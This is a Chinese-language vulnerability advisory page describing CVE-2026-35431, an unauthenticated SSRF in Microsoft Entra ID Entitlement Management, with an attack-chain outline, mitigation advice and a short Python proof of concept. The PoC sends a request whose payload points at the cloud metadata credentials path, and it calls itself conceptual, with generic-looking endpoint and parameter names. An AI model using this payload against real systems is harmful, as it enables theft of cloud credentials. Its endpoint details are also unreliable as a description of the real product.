IPBUF安全漏洞报告
English
CVE-2026-35431 CVSS 10.0 严重

CVE-2026-35431 Microsoft Entra ID SSRF漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-35431
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Microsoft Entra ID Entitlement Management

相关标签

SSRFMicrosoft Entra ID严重漏洞无需认证网络欺骗

漏洞概述

该漏洞存在于Microsoft Entra ID Entitlement Management组件中。由于存在服务端请求伪造(SSRF)缺陷,未经身份验证的攻击者可以通过网络向内部资源发送特制请求。利用此漏洞,攻击者可在无需用户交互的情况下,绕过网络边界限制,对内部服务进行探测或攻击,导致高机密性、完整性和可用性影响。

技术细节

CVE-2026-35431是Microsoft Entra ID Entitlement Management中的一个严重SSRF漏洞。其根本原因在于应用程序未能充分验证用户提供的URL输入。在Entra ID的权限管理流程中,某些功能允许系统发起对外部资源的请求。攻击者可构造恶意的内网地址(如http://169.254.169.254/latest/meta-data/)作为输入参数。由于请求是由服务端发起的,防火墙通常不会拦截此类流量。攻击者利用此漏洞可以扫描内网端口、访问云元数据服务获取临时凭证,或与内部未授权的服务进行交互。鉴于CVSS评分为10.0,该漏洞利用无需认证且无交互,极易被自动化工具大规模利用,导致核心身份管理基础设施被完全攻陷。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出Microsoft Entra ID Entitlement Management中存在SSRF漏洞的接口。
STEP 2
步骤2:构造载荷
攻击者构造包含内网敏感地址(如元数据服务地址)的恶意URL。
STEP 3
步骤3:发送请求
攻击者向目标服务器发送特制的HTTP请求,将恶意URL注入到SSRF参数中。
STEP 4
步骤4:服务端请求
Entra ID服务器解析并访问攻击者指定的内网地址,并将响应返回给攻击者。
STEP 5
步骤5:利用与控制
攻击者利用获取的内部信息(如云凭证)进一步横向移动,破坏机密性、完整性或可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-35431: Microsoft Entra ID Entitlement Management SSRF # This is a conceptual proof-of-concept demonstrating the vulnerability. # Target: Vulnerable endpoint in Microsoft Entra ID Entitlement Management # Impact: Scanning internal network or accessing cloud metadata target_url = "https://target-entra-id-endpoint/entitlements/vulnerable-api" # Attacker controlled payload pointing to an internal resource (e.g., AWS Metadata) internal_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "User-Agent": "SSRF-Scanner", "Content-Type": "application/json" } data = { "resourceUrl": internal_payload # The parameter vulnerable to SSRF } try: response = requests.post(target_url, json=data, headers=headers, verify=False) if response.status_code == 200: print("[*] SSRF Successful! Response from internal resource:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Microsoft Entra ID Entitlement Management (具体版本请参考官方公告)

防御指南

临时缓解措施
如果无法立即打补丁,建议在网络层限制Entra ID相关服务对内网敏感网段(如127.0.0.1, 169.254.169.254等)的访问,并密切监控异常的出站网络请求日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表